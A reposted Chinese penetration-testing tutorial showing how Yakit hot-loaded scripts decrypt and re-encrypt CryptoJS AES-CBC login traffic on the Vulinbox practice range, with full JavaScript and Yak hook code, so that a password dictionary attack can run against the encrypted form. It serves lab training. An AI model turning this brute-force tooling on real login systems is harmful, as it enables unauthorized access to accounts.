文章总结: 本文介绍利用Yakit热加载实现Web逆向加解密。针对Vulinbox靶场CryptoJS.AES前端加密场景,通过编写本地JS脚本结合file.ReadFile与js.Run接口,在WebFuzzer中实时转换流量为明文,成功对加密登录表单进行字典爆破。 综合评分: 88 文章分类: 逆向分析,WEB安全,安全工具,渗透测试,实战经验
【Web逆向】Yakit热加载之file.ReadFile+js.Run调用本地js加解密Vulinbox靶场CryptoJS.AES(CBC)
原创
挖个洞先
挖个洞先
2026年1月11日 23:57 北京
“
那美丽的天总是一望无边,
有粒种子埋在云下面。
营养来自这满地污泥,
生根发芽仍然顺从天意。——《向阳花》
”
01
—
环境版本
环境:
电脑,Windows 11 专业版 23H2
https://github.com/JiaoSuInfoSec/JiaoSuInfoSec_T00ls_Win11
软件:
Yakit, v1.4.5-0109
https://www.yaklang.com/
02
—
操作步骤
1、Yakit试验性功能,Vulinbox
https://oss-qn.yaklang.com/vulinbox/latest/vulinbox_windows_amd64.exe
2、启动靶场
3、CryptoJS.AES(CBC) 前端加密登陆表单
4、用户名admin,密码从下面随机取值
backupPass = []string{"admin", "123456", "admin123", "88888888", "666666"}
5、请求加密
{"username":"admin","password":"88888888"}
6、查看网页源代码
7、CryptoJS.AES,key为硬编码的字符串1234123412341234,iv随机生成
8、编写js解密
function Decrypt(encryptedBase64, keyHex, ivHex) { // 1. 将 Hex 字符串还原为 CryptoJS 的 WordArray 对象 var key = CryptoJS.enc.Hex.parse(keyHex); var iv = CryptoJS.enc.Hex.parse(ivHex); // 2. 使用相同的模式(CBC)和填充(Pkcs7)进行解密 var decrypted = CryptoJS.AES.decrypt(encryptedBase64, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); // 3. 将解密后的数据转为 UTF8 字符串返回 return decrypted.toString(CryptoJS.enc.Utf8);}
9、编写热加载实时解密请求
// 1. 设置 JS 文件路径// 注意:Windows路径分隔符需要转义,用双反斜杠 \\jsFilePath := "C:\\Users\\Administrator\\Desktop\\js\\1.js"// 2. 读取文件内容// file.ReadFile 返回 ([]byte, error)jsBytes, err := file.ReadFile(jsFilePath)if err != nil { die("读取JS文件失败: " + err.Error())}// 转换成字符串备用DecryptJS := string(jsBytes)// 3. 定义流量钩子hijackSaveHTTPFlow = func(flow, modify, drop) { // 过滤 URL if !str.Contains(flow.Url, "/crypto/js/lib/aes/cbc/handler") { return } // 反转义请求 reqBytes, err := codec.StrconvUnquote(flow.Request) if err != nil { return } // 获取 Body bodyBytes := poc.GetHTTPPacketBody(reqBytes) if len(bodyBytes) == 0 { return } // 解析 JSON jsonObj := json.loads(bodyBytes) if jsonObj == nil { return } // 提取参数 encData := jsonObj["data"] keyStr := jsonObj["key"] ivStr := jsonObj["iv"] if encData == nil || keyStr == nil || ivStr == nil { return } // ========================================== // 4. 运行 JS (使用读取到的文件内容) // ========================================== // 加载读取到的代码 (DecryptJS) 和 CryptoJS 库 vm, _, err := js.Run(DecryptJS, js.libCryptoJSV4()) if err != nil { println("JS环境加载失败,请检查 1.js 语法: " + err.Error()) return } // 拼接执行命令 runCmd := sprintf(`Decrypt("%v", "%v", "%v")`, encData, keyStr, ivStr) // 执行 val, err := vm.RunString(runCmd) if err != nil { println("JS执行错误: " + err.Error()) return } plaintext := val.String() if plaintext == "" { return } // 5. 替换流量 newReqBytes := poc.ReplaceHTTPPacketBody(reqBytes, []byte(plaintext)) flow.Request = codec.StrconvQuote(newReqBytes) flow.AddTag("本地JS解密成功") flow.Red() modify(flow) println("从文件加载JS并解密成功: " + plaintext)}
10、直接明文发包报错
Failed: decrypt failed: AES key length must be 16, 24, or 32 bytes, got 0 bytes
11、编写js加密
// ================== 解密函数 (用于 afterRequest) ==================function Decrypt(encryptedBase64, keyHex, ivHex) { var key = CryptoJS.enc.Hex.parse(keyHex); var iv = CryptoJS.enc.Hex.parse(ivHex); var decrypted = CryptoJS.AES.decrypt(encryptedBase64, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); return decrypted.toString(CryptoJS.enc.Utf8);}// ================== 加密函数 (用于 beforeRequest) ==================function EncryptData(jsonStr) { // 1. 密钥 (必须与网页源代码中的逻辑一致) var keyStr = "1234123412341234"; var key = CryptoJS.enc.Utf8.parse(keyStr); // 2. 生成随机 IV (16字节) var iv = CryptoJS.lib.WordArray.random(16); // 3. 执行加密 var encrypted = CryptoJS.AES.encrypt(jsonStr, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); // 4. 构造并返回服务器需要的 JSON 字符串 var result = { "data": encrypted.toString(), "key": key.toString(), // WordArray 转 Hex "iv": iv.toString() // WordArray 转 Hex }; return JSON.stringify(result);}
12、Web Fuzzer热加载
// 设置 JS 文件路径 (注意双反斜杠)jsFilePath = "C:\\Users\\Administrator\\Desktop\\js\\2.js"// ==========================================// 发送请求前:将明文 Body 加密为 密文 Body// ==========================================beforeRequest = func(https, originReq, req) { // 1. 读取本地 JS 文件 jsBytes, err := file.ReadFile(jsFilePath) if err != nil { println("JS文件读取失败: " + err.Error()) return req } // 2. 获取 Fuzzer 生成的明文 Body // 例如: {"username":"admin", "password":"123"} bodyBytes := poc.GetHTTPPacketBody(req) if len(bodyBytes) == 0 { return req } // 3. 运行 JS 环境 vm, _, err := js.Run(string(jsBytes), js.libCryptoJSV4()) if err != nil { println("JS环境启动失败: " + err.Error()) return req } // 4. 调用 JS 中的 EncryptData 函数 // 注意:将 bodyBytes 转为 string 传入 // 这里的 sprintf 可能会因为 body 含有特殊字符而出错,但在爆破密码场景通常没事 runCmd := sprintf(`EncryptData('%s')`, string(bodyBytes)) val, err := vm.RunString(runCmd) if err != nil { println("加密执行错误: " + err.Error()) return req } encryptedJson := val.String() if encryptedJson == "" { return req } // 5. 替换请求体 (明文 -> 密文) newReq := poc.ReplaceHTTPPacketBody(req, []byte(encryptedJson)) return newReq}// ==========================================// 收到响应后:将密文 Body 解密为 明文 Body// ==========================================afterRequest = func(https, originReq, req, originRsp, rsp) { // 1. 读取本地 JS 文件 jsBytes, err := file.ReadFile(jsFilePath) if err != nil { return rsp } // 2. 获取响应体 bodyBytes := poc.GetHTTPPacketBody(rsp) if len(bodyBytes) == 0 { return rsp } // 3. 解析响应 JSON (提取 data, key, iv) jsonObj := json.loads(bodyBytes) if jsonObj == nil { return rsp } // 检查是否包含加密字段 if jsonObj["data"] == nil || jsonObj["key"] == nil || jsonObj["iv"] == nil { return rsp } // 4. 运行 JS 环境 vm, _, err := js.Run(string(jsBytes), js.libCryptoJSV4()) if err != nil { return rsp } // 5. 调用 JS 中的 Decrypt 函数 runCmd := sprintf(`Decrypt("%v", "%v", "%v")`, jsonObj["data"], jsonObj["key"], jsonObj["iv"]) val, err := vm.RunString(runCmd) if err != nil { println("解密响应失败: " + err.Error()) return rsp } plaintext := val.String() if plaintext == "" { return rsp } // 6. 替换响应体 (密文 -> 明文) // 这样 Web Fuzzer 的结果列表里就会显示明文,方便根据关键字(如 "success") 筛选 newRsp := poc.ReplaceHTTPPacketBody(rsp, []byte(plaintext)) return newRsp}
13、字典管理增加88888888
14、明文字典爆破密码成功
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:挖个洞先 挖个洞先《【Web逆向】Yakit热加载之file.ReadFile+js.Run调用本地js加解密Vulinbox靶场CryptoJS.AES(CBC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论